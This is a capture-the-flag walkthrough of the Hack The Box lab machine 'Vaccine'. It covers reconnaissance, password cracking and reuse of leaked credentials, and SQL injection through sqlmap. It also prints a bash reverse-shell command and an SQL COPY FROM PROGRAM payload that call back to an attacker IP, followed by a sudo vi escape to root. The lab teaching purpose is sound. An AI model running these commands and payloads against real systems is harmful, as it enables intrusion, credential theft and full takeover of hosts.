hackthebox.eu box “Vaccine”

1. Recon

nmap

We start by running `nmap`, a network discovery tool, on our target, `10.10.10.46`:

```
nmap 10.10.10.46 -sV -sC
```

This is the console output:

```
vagrant@vagrant-virtualbox ~> nmap 10.10.10.46 -sV -sC
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 14:53 CDT
Nmap scan report for 10.10.10.46
Host is up (0.049s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: MegaCorp Login
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds
```

We can see that ftp, ssh, and http are open services. So, port 21, 22, and 80.

2. FTP credentials

Reusing credentials from the previous box, ‘Oopsie’, from this FileZilla XML file:

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.46</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
```

```
      <EncodingType>Auto</EncodingType>
      <BypassProxy>0</BypassProxy>
    </Server>
  </RecentServers>
</FileZilla3>
```

We connect and download `backup.zip` file. I used FileZilla, but you could use any client you like.

3. Cracking the zip file password

I used the rockyou.txt wordlist to crack the zip file's password.

```
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
```

The password ended up being `741852963`.

There are 2 files inside `backup.zip`:

```
backup
|-- index.php
\-- style.css
```

4. Hardcoded password hash

In `index.php` on line 5, we can see a hardcoded MD5 password hash:

```
if($_POST['username'] === 'admin' && md5($_POST['password']) ===
    "2cb42f8734ea607eefed3b70af13bbd3") {
```

This means our cred is

```
admin:2cb42f8734ea607eefed3b70af13bbd3
```

I used an online md5 database, and retrieved:

```
admin:qwerty789
```

I could have used `hashcat` if the online md5 database did not yield results.

5. Logging into the site

I logged into the site using `admin:qwerty789` and noticed an SQL injectable form.

http://10.10.10.46/dashboard.php?search=a

6. SQL Injection into reverse shell

So I copied the PHPSESSID cookie into my terminal, and got a reverse shell using `sqlmap` to attack the injectable form.

```
sqlmap "http://10.10.10.46/dashboard.php?search=test"
    --cookie="PHPSESSID=jvf28f80n6p99j8nkfa9nq3tmm" --os-shell --random-agent
```

I then started a new shell as sqlmap's reverse shell is limited.

Upgrading from sqlmap reverse shell

Note that `10.10.14.184` is the attacker’s IP address.

Attacker runs (to receive TCP connection):

```
nc -lvp 1234
```

Victim runs (to establish TCP connection):

```
bash -c ’bash -i >& /dev/tcp/10.10.14.184/1234 0>&1’
```

And to upgrade shell:

```
SHELL=/bin/bash script -q /dev/null
```

We are now logged in as the `postgres` user.

This is the payload:

```
test’;DROP TABLE IF EXISTS sqlmapoutput;CREATE TABLE sqlmapoutput(data text);COPY
    sqlmapoutput FROM PROGRAM ’    bash -c ’’bash -i >& /dev/tcp/10.10.14.184/6969
    0>&1’’’;--
```

And this is the HTTP request that gets sent to the server:

```
GET
    /dashboard.php?search=test%27%3BDROP%20TABLE%20IF%20EXISTS%20sqlmapoutput%3BCREATE%20TABLE%20sqlmapo
    HTTP/1.1
Cache-control: no-cache
Cookie: PHPSESSID=51ai5vlm0bsmiragl1lnv2t3qg
User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000
    Ubuntu/8.04 (hardy) Firefox/3.0.2
Host: 10.10.10.46
Accept: */*
Accept-encoding: gzip,deflate
Connection: close
```

7. More hardcoded credentials

We `cd` to `/var/www/`, and inside `dashboard.php` on line 41 is this line:

```
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres
    password=P@s5w0rd!");
```

8. Using `vi` to get a root shell

Now we can run `sudo -l` to list the commands that `postgres` is allowed to run.

```
postgres@vaccine:/var/www/html$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!

Matching Defaults entries for postgres on vaccine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

So we can run `/bin/vi /etc/postgresql/11/main/pg_hba.conf`.

If I run `vi` as root with:

```
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

And then, inside `vi`, type:

```
<ESC>:!/bin/bash<ENTER>
```

I should spawn a root shell. Let's try it.

See the wonky output below. Line 11. `^[` is `<ESC>`. Below the content of the `/etc/postgresql/11/main/pg_hba.conf` file, you can see shell commands.

```
1  # DO NOT DISABLE!
2  # If you change this first entry you will need to make sure that the
3  # database superuser can access the database using some other method.
4  # Noninteractive access to all databases is required during automatic
5  # maintenance (custom daily cronjobs, replication, and similar tasks).
6  #
7  # Database administrative login by Unix domain socket
8  
9  # TYPE  DATABASE        USER            ADDRESS                 METHOD
10 
11 local   all             postgres                                iden^[:!/bin/bash <-- X
12 # "local" is for Unix domain socket connections only
13 local   all             all                                     peer
14 # IPv4 local connections:
15 host    all             all             127.0.0.1/32            md5
16 # IPv6 local connections:
17 host    all             all             ::1/128                 md5
18 # Allow replication connections from localhost, by a user with the
19 # replication privilege.
20 local   replication     all                                     peer
21 host    replication     all             127.0.0.1/32            md5
22 host    replication     all             ::1/128                 md5
23 :!/bin/bash
24 root@vaccine:/var/lib/postgresql/11/main# whoami
25 whoami
26 root
27 root@vaccine:/var/lib/postgresql/11/main#
```

We're root!